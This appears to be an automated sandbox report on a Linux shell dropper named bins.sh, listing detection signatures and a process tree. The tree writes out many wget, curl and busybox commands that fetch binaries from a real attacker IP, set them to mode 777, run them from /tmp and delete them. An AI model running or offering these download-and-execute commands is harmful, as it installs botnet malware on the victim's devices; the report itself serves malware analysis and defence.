Analysis

  • max time kernel
    25s
  • max time network
    27s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/10/2024, 16:52

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241026-vdedmaxdmr
  • SHA256 0b12c8e5f1d3edf25cec01f3104249f8db9ee14d4801d4abf0f8e87bf28a77db
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
          2⤵
            PID:653
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:668
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
            2⤵
              PID:676
            • /bin/chmod
              chmod 777 DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
              2⤵
              • File and Directory Permissions Modification
              PID:680
            • /tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
              ./DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
              2⤵
              • Executes dropped EXE
              PID:682
            • /bin/rm
              rm DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
              2⤵
                PID:683
              • /usr/bin/wget
                wget http://87.120.84.230/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                2⤵
                  PID:684
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:686
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                  2⤵
                    PID:687
                  • /bin/chmod
                    chmod 777 iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                    2⤵
                    • File and Directory Permissions Modification
                    PID:688
                  • /tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                    ./iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                    2⤵
                    • Executes dropped EXE
                    PID:689
                  • /bin/rm
                    rm iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
                    2⤵
                      PID:690
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                      2⤵
                        PID:691
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:692
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                        2⤵
                          PID:696
                        • /bin/chmod
                          chmod 777 V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                          2⤵
                          • File and Directory Permissions Modification
                          PID:699
                        • /tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                          ./V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                          2⤵
                          • Executes dropped EXE
                          PID:701
                        • /bin/rm
                          rm V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
                          2⤵
                            PID:702
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                            2⤵
                              PID:703
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:707
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                              2⤵
                                PID:712
                              • /bin/chmod
                                chmod 777 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                                2⤵
                                • File and Directory Permissions Modification
                                PID:716
                              • /tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                                ./8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                                2⤵
                                • Executes dropped EXE
                                PID:717
                              • /bin/rm
                                rm 8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
                                2⤵
                                  PID:718
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                  2⤵
                                    PID:720
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:725
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                    2⤵
                                      PID:731
                                    • /bin/chmod
                                      chmod 777 YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:734
                                    • /tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                      ./YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                      2⤵
                                      • Executes dropped EXE
                                      PID:735
                                    • /bin/rm
                                      rm YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
                                      2⤵
                                        PID:736
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                        2⤵
                                          PID:738
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:746
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                          2⤵
                                            PID:752
                                          • /bin/chmod
                                            chmod 777 qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:756
                                          • /tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                            ./qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                            2⤵
                                            • Executes dropped EXE
                                            PID:757
                                          • /bin/rm
                                            rm qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
                                            2⤵
                                              PID:758
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                              2⤵
                                                PID:759
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:761
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                2⤵
                                                  PID:769
                                                • /bin/chmod
                                                  chmod 777 v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:773
                                                • /tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                  ./v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:774
                                                • /bin/rm
                                                  rm v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
                                                  2⤵
                                                    PID:775
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                    2⤵
                                                      PID:777
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:781
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                      2⤵
                                                        PID:788
                                                      • /bin/chmod
                                                        chmod 777 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:793
                                                      • /tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                        ./651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:794
                                                      • /bin/rm
                                                        rm 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
                                                        2⤵
                                                          PID:795
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                          2⤵
                                                            PID:797
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:801
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                            2⤵
                                                              PID:806
                                                            • /bin/chmod
                                                              chmod 777 N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:807
                                                            • /tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                              ./N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:808
                                                            • /bin/rm
                                                              rm N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
                                                              2⤵
                                                                PID:809
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                2⤵
                                                                  PID:810
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:811
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                  2⤵
                                                                    PID:812
                                                                  • /bin/chmod
                                                                    chmod 777 BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:813
                                                                  • /tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                    ./BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:814
                                                                  • /bin/rm
                                                                    rm BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
                                                                    2⤵
                                                                      PID:815
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                      2⤵
                                                                        PID:816
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:817
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                        2⤵
                                                                          PID:818
                                                                        • /bin/chmod
                                                                          chmod 777 jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:819
                                                                        • /tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                          ./jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:820
                                                                        • /bin/rm
                                                                          rm jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
                                                                          2⤵
                                                                            PID:821
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                            2⤵
                                                                              PID:822
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:823
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                              2⤵
                                                                                PID:824
                                                                              • /bin/chmod
                                                                                chmod 777 onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:825
                                                                              • /tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                                ./onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:826
                                                                              • /bin/rm
                                                                                rm onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
                                                                                2⤵
                                                                                  PID:827
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                  2⤵
                                                                                    PID:828
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:829
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                    2⤵
                                                                                      PID:830
                                                                                    • /bin/chmod
                                                                                      chmod 777 GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:831
                                                                                    • /tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                      ./GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:832
                                                                                    • /bin/rm
                                                                                      rm GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                      2⤵
                                                                                        PID:833
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                        2⤵
                                                                                          PID:834
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://87.120.84.230/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:835
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://87.120.84.230/bins/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                          2⤵
                                                                                            PID:836
                                                                                          • /bin/chmod
                                                                                            chmod 777 W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:837
                                                                                          • /tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                            ./W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:838
                                                                                          • /bin/rm
                                                                                            rm W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
                                                                                            2⤵
                                                                                              PID:839
                                                                                            • /usr/bin/wget
                                                                                              wget http://87.120.84.230/bins/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
                                                                                              2⤵
                                                                                                PID:840

                                                                                            Network

                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                  Replay Monitor

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                                                                                                  Downloads

                                                                                                  DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u

                                                                                                  • Path /tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
                                                                                                  • Size 153B
                                                                                                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                  • MD5 SHA1 SHA512